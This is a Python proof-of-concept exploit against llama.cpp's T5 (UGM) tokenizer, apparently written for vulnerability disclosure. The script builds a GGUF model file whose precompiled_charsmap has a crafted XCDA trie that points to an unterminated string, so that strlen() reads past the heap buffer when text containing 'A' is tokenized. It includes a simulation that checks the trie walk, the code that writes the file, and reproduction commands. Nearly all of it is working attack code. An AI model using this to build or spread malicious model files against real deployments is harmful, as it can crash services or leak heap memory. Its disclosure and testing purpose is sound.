poc_strlen_oob.py

#!/usr/bin/env python3
"""
PoC: Heap buffer over-read via strlen() on unterminated precompiled_charsmap
in llama.cpp's UGM (T5) tokenizer.

Vulnerability location:
  src/llama-vocab.cpp, function normalize_prefix(), around line 1128-1129:

    const char * prefix_replacement = &(tokenizer.prefix_replacements)[longest_prefix_offset];
    return { prefix_replacement, strlen(prefix_replacement), longest_prefix_length };

The precompiled_charsmap is loaded from GGUF metadata at lines 1823-1825 without
any validation that replacement strings are null-terminated.  When the XCDA trie
matches an input prefix and yields a replacement-string offset that points to data
near the end of the buffer with no trailing NUL byte, strlen() reads past the end
of the heap allocation.

Exploit path:
  1. A GGUF file sets tokenizer.ggml.model = "t5" to select the UGM tokenizer.
  2. tokenizer.ggml.precompiled_charsmap contains a crafted binary blob:
       [4 bytes: xcda_blob_size (uint32 LE)]
       [xcda_blob_size bytes: XCDA trie entries (uint32 LE each)]
       [remaining bytes: prefix_replacements string table]
  3. The XCDA trie is constructed so that the ASCII character 'A' (0x41) matches
     a single-character prefix whose replacement-string offset points to the very
     last byte of the prefix_replacements region -- a byte that is NOT followed by
     a NUL terminator.
  4. When the model tokenizes any text containing 'A', normalize_prefix() walks
     the XCDA, finds the match, passes the bounds check (offset < size), then
     calls strlen() which reads past the buffer boundary.

XCDA bit-packing (per uint32_t entry):
  bits 10-30: BASE value (21 bits)
  bit  9:     BASE shift flag (if set, BASE is shifted left by 8)
  bit  8:     LEAF flag
  bits 0-7:   LCHECK value
  For value nodes (referenced when LEAF=1):
    bits 0-30: replacement string offset into prefix_replacements
    bit  31:   (flag, masked out by get_value)

Trie walk for input character c:
  node_index  = get_base(root)       # start from root
  node_index ^= c                    # XOR with character value
  check get_lcheck(node_index) == c  # verify parentage
  is_leaf = get_leaf(node_index)
  node_index ^= get_base(node_index) # descend
  if is_leaf:
      offset = get_value(node_index) # read replacement offset

This PoC constructs a minimal GGUF file that triggers the bug when loaded
with vocab_only=true and any text containing 'A' is tokenized.

Usage:
  python3 poc_strlen_oob.py               # generates poc_strlen_oob.gguf
  # Then in llama.cpp build directory:
  # ./bin/llama-cli -m poc_strlen_oob.gguf --vocab-only -p "A" 2>&1
  # (will crash or ASAN will report heap-buffer-overflow)
"""

import struct
import os
import sys

# --------------------------------------------------------------------------- #
#  GGUF binary format constants
# --------------------------------------------------------------------------- #
GGUF_MAGIC   = 0x46554747  # "GGUF" in little-endian
GGUF_VERSION = 3

# GGUFValueType enum
GGUF_TYPE_UINT8   = 0
GGUF_TYPE_INT8    = 1
GGUF_TYPE_UINT16  = 2
GGUF_TYPE_INT16   = 3
GGUF_TYPE_UINT32  = 4
GGUF_TYPE_INT32   = 5
GGUF_TYPE_FLOAT32 = 6
GGUF_TYPE_BOOL    = 7
GGUF_TYPE_STRING  = 8
GGUF_TYPE_ARRAY   = 9
GGUF_TYPE_UINT64  = 10
GGUF_TYPE_INT64   = 11
GGUF_TYPE_FLOAT64 = 12

# GGML quantization types
GGML_TYPE_F32 = 0

ALIGNMENT = 32


def pack_string(s: str) -> bytes:
    """Pack a GGUF string value: uint64 length + raw UTF-8 bytes."""
    encoded = s.encode("utf-8")
    return struct.pack("<Q", len(encoded)) + encoded


def pack_kv_string(key: str, value: str) -> bytes:
    """Pack a complete KV pair with string value."""
    return pack_string(key) + struct.pack("<I", GGUF_TYPE_STRING) + pack_string(value)


def pack_kv_uint32(key: str, value: int) -> bytes:
    """Pack a complete KV pair with uint32 value."""
    return pack_string(key) + struct.pack("<I", GGUF_TYPE_UINT32) + struct.pack("<I", value)


def pack_kv_float32(key: str, value: float) -> bytes:
    """Pack a complete KV pair with float32 value."""
    return pack_string(key) + struct.pack("<I", GGUF_TYPE_FLOAT32) + struct.pack("<f", value)


def pack_kv_int8_array(key: str, data: bytes) -> bytes:
    """Pack a complete KV pair with an array of int8 (used for precompiled_charsmap)."""
    result = pack_string(key)
    result += struct.pack("<I", GGUF_TYPE_ARRAY)     # value type = ARRAY
    result += struct.pack("<I", GGUF_TYPE_UINT8)     # array element type = UINT8
    result += struct.pack("<Q", len(data))           # array length
    result += data                                    # raw bytes
    return result


def pack_kv_string_array(key: str, strings: list) -> bytes:
    """Pack a complete KV pair with an array of strings."""
    result = pack_string(key)
    result += struct.pack("<I", GGUF_TYPE_ARRAY)
    result += struct.pack("<I", GGUF_TYPE_STRING)
    result += struct.pack("<Q", len(strings))
    for s in strings:
        result += pack_string(s)
    return result


def pack_kv_float32_array(key: str, values: list) -> bytes:
    """Pack a complete KV pair with an array of float32."""
    result = pack_string(key)
    result += struct.pack("<I", GGUF_TYPE_ARRAY)
    result += struct.pack("<I", GGUF_TYPE_FLOAT32)
    result += struct.pack("<Q", len(values))
    for v in values:
        result += struct.pack("<f", v)
    return result


def pack_kv_int32_array(key: str, values: list) -> bytes:
    """Pack a complete KV pair with an array of int32."""
    result = pack_string(key)
    result += struct.pack("<I", GGUF_TYPE_ARRAY)
    result += struct.pack("<I", GGUF_TYPE_INT32)
    result += struct.pack("<Q", len(values))
    for v in values:
        result += struct.pack("<i", v)
    return result


# --------------------------------------------------------------------------- #
#  XCDA trie construction helpers
# --------------------------------------------------------------------------- #

def pack_xcda_node(base: int, lcheck: int, leaf: bool, base_shift: bool = False) -> int:
    """
    Pack an XCDA node into a uint32.

    Layout:
      bits 10-30: BASE (21 bits, before optional shift)
      bit  9:     shift flag (if 1, actual BASE = stored_base << 8)
      bit  8:     LEAF flag
      bits 0-7:   LCHECK

    When base_shift=False: stored_base = base, actual = stored_base << 0
    When base_shift=True:  stored_base = base >> 8, actual = stored_base << 8
    """
    assert 0 <= lcheck <= 0xFF
    assert 0 <= base <= 0x1FFFFF  # 21 bits max for stored base

    packed = 0
    if base_shift:
        stored_base = base >> 8
        packed |= (stored_base & 0x1FFFFF) << 10
        packed |= (1 << 9)  # shift flag
    else:
        packed |= (base & 0x1FFFFF) << 10
        # bit 9 = 0 (no shift)

    if leaf:
        packed |= (1 << 8)

    packed |= (lcheck & 0xFF)
    return packed


def pack_xcda_value_node(offset: int) -> int:
    """
    Pack a value node. get_value() returns packed & 0x7FFFFFFF.
    The offset is the index into prefix_replacements.
    """
    assert 0 <= offset <= 0x7FFFFFFF
    return offset


# --------------------------------------------------------------------------- #
#  Build the malicious precompiled_charsmap
# --------------------------------------------------------------------------- #

def build_malicious_charsmap() -> bytes:
    """
    Build a precompiled_charsmap blob that triggers OOB read via strlen().

    The XCDA trie matches the single ASCII character 'A' (0x41) and returns
    a replacement string offset pointing to the last byte of the
    prefix_replacements section, which has NO null terminator.

    IMPORTANT: During model loading, llama.cpp tokenizes "\\n" to determine
    the newline token ID (line 2180 of llama-vocab.cpp). This means the XCDA
    trie is walked for character 0x0A during init. We must ensure the array
    is large enough that BASE_root ^ c doesn't go out of bounds for ANY
    single-byte character. We use BASE_root = 0, so the child index for
    character c is simply c. The array needs 256 entries to be safe.

    XCDA array layout (256 entries):
      [0]   Root node:     BASE=0, LCHECK=0, LEAF=0
      [0x41] Child for 'A': LCHECK=0x41, LEAF=1, BASE=3
             After XOR: node_index = 0x41 ^ 3 = 0x42
      [0x42] Value node:   offset pointing to last byte of prefix_replacements
      All other entries:    0 (LCHECK=0, won't match any non-zero char)

    Trie walk for input 'A' (c=0x41):
      1. node_index = get_base(0) = 0
      2. node_index ^= 0x41 => 0x41
      3. get_lcheck(0x41) = 0x41 => matches!
      4. get_leaf(0x41) = true
      5. node_index ^= get_base(0x41) => 0x41 ^ 3 = 0x42
      6. get_value(0x42) = replacement_offset => points to unterminated data

    Trie walk for any other char c (e.g. '\\n' = 0x0A):
      1. node_index = get_base(0) = 0
      2. node_index ^= c => c
      3. get_lcheck(c) = 0 (entry is all zeros) => 0 != c => break
      => No match, falls through to UTF-8 passthrough. Safe.

    prefix_replacements: non-NUL bytes with NO trailing NUL terminator.
    """

    # Build XCDA array: 256 entries, all zeros except the ones we need
    NUM_ENTRIES = 256
    xcda = [0] * NUM_ENTRIES

    # Root (index 0): BASE=0, LEAF=0, LCHECK=0
    # With BASE=0, for character c, node_index = 0 ^ c = c
    # So the child for 'A' (0x41) is at index 0x41
    xcda[0] = pack_xcda_node(base=0, lcheck=0x00, leaf=False)

    # Child for 'A' at index 0x41:
    #   LCHECK=0x41 (must match character)
    #   LEAF=1 (this completes a match)
    #   BASE=3 (after XOR: 0x41 ^ 3 = 0x42, the value node)
    xcda[0x41] = pack_xcda_node(base=3, lcheck=0x41, leaf=True)

    # Value node at index 0x42:
    #   get_value() returns packed & 0x7FFFFFFF = the replacement offset
    #   We point to the last byte of prefix_replacements (no NUL follows).
    replacement_offset = 7
    xcda[0x42] = pack_xcda_value_node(replacement_offset)

    # Pack all entries
    xcda_entries = struct.pack("<" + "I" * NUM_ENTRIES, *xcda)
    xcda_blob_size = len(xcda_entries)  # 256 * 4 = 1024 bytes

    # prefix_replacements: 8 bytes of non-NUL data, NO null terminator
    # The replacement offset (7) points to the 8th byte (index 7).
    # strlen() starts there, finds 'B' (0x42), then reads PAST the buffer
    # looking for a NUL that doesn't exist.
    prefix_replacements = b"\x42" * 8  # 'B' * 8, no NUL

    # Full charsmap: [uint32 xcda_blob_size] [xcda_entries] [prefix_replacements]
    charsmap = struct.pack("<I", xcda_blob_size) + xcda_entries + prefix_replacements

    return charsmap


# --------------------------------------------------------------------------- #
#  Verify the trie walk in Python (sanity check)
# --------------------------------------------------------------------------- #

def verify_trie_walk(charsmap: bytes):
    """Simulate the C++ trie walk to verify our XCDA is correct."""

    # Parse charsmap
    xcda_blob_size = struct.unpack_from("<I", charsmap, 0)[0]
    charsmap_offset = 4
    xcda_array = []
    for i in range(xcda_blob_size // 4):
        val = struct.unpack_from("<I", charsmap, charsmap_offset + i * 4)[0]
        xcda_array.append(val)
    prefix_replacements_offset = 4 + xcda_blob_size
    prefix_replacements_size = len(charsmap) - prefix_replacements_offset
    prefix_replacements = charsmap[prefix_replacements_offset:]

    print(f"[*] Charsmap total size: {len(charsmap)} bytes")
    print(f"[*] XCDA blob size: {xcda_blob_size} bytes ({xcda_blob_size // 4} entries)")
    non_zero = {i: x for i, x in enumerate(xcda_array) if x != 0}
    print(f"[*] XCDA non-zero entries: { {i: '0x%08X' % x for i, x in non_zero.items()} }")
    print(f"[*] prefix_replacements size: {prefix_replacements_size} bytes")
    print(f"[*] prefix_replacements (hex): {prefix_replacements.hex()}")
    print(f"[*] prefix_replacements contains NUL: {0 in prefix_replacements}")
    print()

    def get_base(index):
        packed = xcda_array[index]
        return (packed >> 10) << ((packed & (1 << 9)) >> 6)

    def get_lcheck(index):
        packed = xcda_array[index]
        return packed & ((1 << 31) | 0xFF)

    def get_leaf(index):
        packed = xcda_array[index]
        return bool((packed >> 8) & 1)

    def get_value(index):
        packed = xcda_array[index]
        return packed & ((1 << 31) - 1)

    # Simulate walk for character 'A' (0x41)
    input_char = ord('A')
    print(f"[*] Simulating trie walk for character 'A' (0x{input_char:02X})...")

    node_index = 0
    base_root = get_base(node_index)
    print(f"    Root node[0] packed=0x{xcda_array[0]:08X}, get_base(0)={base_root}")
    node_index = base_root

    c = input_char
    node_index ^= c
    print(f"    node_index ^= 0x{c:02X} => node_index = {node_index}")

    lcheck = get_lcheck(node_index)
    print(f"    node[{node_index}] packed=0x{xcda_array[node_index]:08X}")
    print(f"    get_lcheck({node_index}) = 0x{lcheck:08X}")
    if lcheck != c:
        print(f"    [!] LCHECK mismatch: 0x{lcheck:X} != 0x{c:X}")
        return False
    print(f"    LCHECK matches: 0x{lcheck:X} == 0x{c:X}")

    is_leaf = get_leaf(node_index)
    print(f"    get_leaf({node_index}) = {is_leaf}")

    base_child = get_base(node_index)
    node_index ^= base_child
    print(f"    get_base({node_index ^ base_child}) = {base_child}")
    print(f"    node_index ^= {base_child} => node_index = {node_index}")

    if is_leaf:
        value = get_value(node_index)
        print(f"    node[{node_index}] packed=0x{xcda_array[node_index]:08X}")
        print(f"    get_value({node_index}) = {value}")
        print(f"    => longest_prefix_offset = {value}")
        print(f"    => Bounds check: {value} < {prefix_replacements_size} = {value < prefix_replacements_size}")
        print(f"    => String at offset {value}: {prefix_replacements[value:]!r}")
        print(f"    => Contains NUL after offset: {0 in prefix_replacements[value:]}")
        if value < prefix_replacements_size and 0 not in prefix_replacements[value:]:
            print()
            print(f"    [!] VULNERABILITY CONFIRMED: strlen() will read past buffer!")
            print(f"    [!] prefix_replacement points to byte {value} of {prefix_replacements_size}")
            print(f"    [!] No NUL terminator exists -- strlen() causes heap over-read")
            return True
        else:
            print(f"    [-] No vulnerability (null terminator present or offset OOB)")
            return False
    else:
        print(f"    [-] Not a leaf node, no match")
        return False


# --------------------------------------------------------------------------- #
#  Build the minimal GGUF file
# --------------------------------------------------------------------------- #

def build_gguf(charsmap: bytes, output_path: str):
    """
    Build a minimal GGUF file that:
      - Sets architecture to "t5" (to trigger UGM tokenizer path)
      - Provides the malicious precompiled_charsmap
      - Includes minimal token vocabulary (pad, eos, unk + a normal token)
      - Can be loaded with vocab_only=true (no tensors needed)
    """

    # ---- KV metadata ----
    kv_pairs = bytearray()

    # general.architecture = "t5"
    # (Required: determines the model architecture for key formatting)
    kv_pairs += pack_kv_string("general.architecture", "t5")

    # tokenizer.ggml.model = "t5" (triggers LLAMA_VOCAB_TYPE_UGM)
    kv_pairs += pack_kv_string("tokenizer.ggml.model", "t5")

    # Token list: need at least 3 tokens for special token IDs:
    #   0 = pad, 1 = eos, 2 = unk
    # Plus some normal tokens for the tokenizer to work.
    # The UGM tokenizer needs at least one normal token to avoid issues.
    tokens = [
        "<pad>",           # 0 - pad token
        "</s>",            # 1 - eos token
        "<unk>",           # 2 - unk token
        "\xe2\x96\x81A",  # 3 - normal token: escaped_space + "A"
        "\xe2\x96\x81B",  # 4 - normal token: escaped_space + "B"
        "A",               # 5 - normal token: bare "A"
        "B",               # 6 - normal token: bare "B"
    ]
    kv_pairs += pack_kv_string_array("tokenizer.ggml.tokens", tokens)

    # Token scores (float32 array, same length as tokens)
    scores = [0.0, 0.0, 0.0, -1.0, -1.0, -2.0, -2.0]
    kv_pairs += pack_kv_float32_array("tokenizer.ggml.scores", scores)

    # Token types (int32 array):
    #   1 = NORMAL, 2 = UNKNOWN, 3 = CONTROL, 4 = USER_DEFINED, 5 = UNUSED, 6 = BYTE
    token_types = [
        3,  # pad - CONTROL
        3,  # eos - CONTROL
        2,  # unk - UNKNOWN
        1,  # normal
        1,  # normal
        1,  # normal
        1,  # normal
    ]
    kv_pairs += pack_kv_int32_array("tokenizer.ggml.token_type", token_types)

    # EOS token ID
    kv_pairs += pack_kv_uint32("tokenizer.ggml.eos_token_id", 1)

    # UNK token ID
    kv_pairs += pack_kv_uint32("tokenizer.ggml.unknown_token_id", 2)

    # Padding token ID
    kv_pairs += pack_kv_uint32("tokenizer.ggml.padding_token_id", 0)

    # The malicious precompiled_charsmap
    kv_pairs += pack_kv_int8_array("tokenizer.ggml.precompiled_charsmap", charsmap)

    n_kv = 9  # count of KV pairs above

    # ---- Tensor info ----
    # vocab_only mode: no tensors needed.
    n_tensors = 0

    # ---- Write GGUF file ----
    with open(output_path, "wb") as f:
        # Header
        f.write(struct.pack("<I", GGUF_MAGIC))     # magic
        f.write(struct.pack("<I", GGUF_VERSION))    # version
        f.write(struct.pack("<Q", n_tensors))       # tensor count
        f.write(struct.pack("<Q", n_kv))            # kv count

        # KV data
        f.write(kv_pairs)

        # No tensor info, no tensor data

    file_size = os.path.getsize(output_path)
    print(f"[+] Written GGUF file: {output_path} ({file_size} bytes)")


# --------------------------------------------------------------------------- #
#  Main
# --------------------------------------------------------------------------- #

def main():
    print("=" * 72)
    print("PoC: Heap buffer over-read via strlen() on unterminated")
    print("     precompiled_charsmap in llama.cpp UGM tokenizer")
    print("=" * 72)
    print()
    print("Vulnerability: src/llama-vocab.cpp, normalize_prefix()")
    print("  Line ~1128-1129:")
    print('    const char * prefix_replacement = ')
    print('        &(tokenizer.prefix_replacements)[longest_prefix_offset];')
    print('    return { prefix_replacement, strlen(prefix_replacement), ')
    print('             longest_prefix_length };')
    print()
    print("The precompiled_charsmap blob is loaded from GGUF metadata without")
    print("validating that replacement strings are null-terminated. If the XCDA")
    print("trie matches an input prefix and returns an offset pointing to data")
    print("near the buffer end with no NUL byte, strlen() reads past the heap")
    print("allocation boundary.")
    print()

    # Step 1: Build the malicious charsmap
    print("-" * 72)
    print("Step 1: Building malicious precompiled_charsmap")
    print("-" * 72)
    charsmap = build_malicious_charsmap()

    # Step 2: Verify the trie walk
    print()
    print("-" * 72)
    print("Step 2: Verifying XCDA trie walk (Python simulation)")
    print("-" * 72)
    print()
    vuln_confirmed = verify_trie_walk(charsmap)
    print()

    if not vuln_confirmed:
        print("[!] Trie verification failed. Aborting.")
        sys.exit(1)

    # Step 3: Build the GGUF file
    print("-" * 72)
    print("Step 3: Building malicious GGUF file")
    print("-" * 72)
    output_dir = os.path.dirname(os.path.abspath(__file__))
    output_path = os.path.join(output_dir, "poc_strlen_oob.gguf")
    build_gguf(charsmap, output_path)

    # Step 4: Print reproduction instructions
    print()
    print("-" * 72)
    print("Step 4: Reproduction")
    print("-" * 72)
    print()
    print("To trigger the vulnerability, load the GGUF file and tokenize any")
    print("text containing 'A'. The XCDA trie will match 'A' and return a")
    print("replacement-string offset pointing to the last byte of the")
    print("prefix_replacements buffer which has no null terminator.")
    print()
    print("With AddressSanitizer (ASAN):")
    print()
    print(f"  # Build llama.cpp with ASAN:")
    print(f"  cmake -B build -DLLAMA_SANITIZE_ADDRESS=ON")
    print(f"  cmake --build build")
    print(f"")
    print(f"  # Trigger with the simple tokenize tool:")
    print(f"  ./build/bin/llama-cli \\")
    print(f"      -m {output_path} \\")
    print(f"      --vocab-only \\")
    print(f"      -p \"Hello A world\"")
    print()
    print("Expected ASAN output:")
    print("  ==PID==ERROR: AddressSanitizer: heap-buffer-overflow")
    print("  READ of size N at 0xADDR")
    print("  #0 strlen")
    print("  #1 llm_tokenizer_ugm_session::normalize_prefix()")
    print()
    print("Without ASAN, the over-read may:")
    print("  - Silently leak heap data into replacement strings")
    print("  - Cause a segfault if the read crosses a page boundary")
    print("  - Produce garbled tokenization output")
    print()
    print("Alternatively, use a simple C program to load vocab_only and tokenize:")
    print()
    print("  // trigger.c")
    print("  #include \"llama.h\"")
    print("  int main() {")
    print("      llama_backend_init();")
    print("      struct llama_model_params mp = llama_model_default_params();")
    print("      mp.vocab_only = true;")
    print(f'      struct llama_model * m = llama_model_load_from_file("{output_path}", mp);')
    print("      const struct llama_vocab * v = llama_model_get_vocab(m);")
    print("      llama_token tokens[64];")
    print('      int n = llama_tokenize(v, "A", 1, tokens, 64, false, true);')
    print("      llama_model_free(m);")
    print("      llama_backend_free();")
    print("  }")
    print()
    print("=" * 72)
    print("PoC generation complete.")
    print("=" * 72)


if __name__ == "__main__":
    main()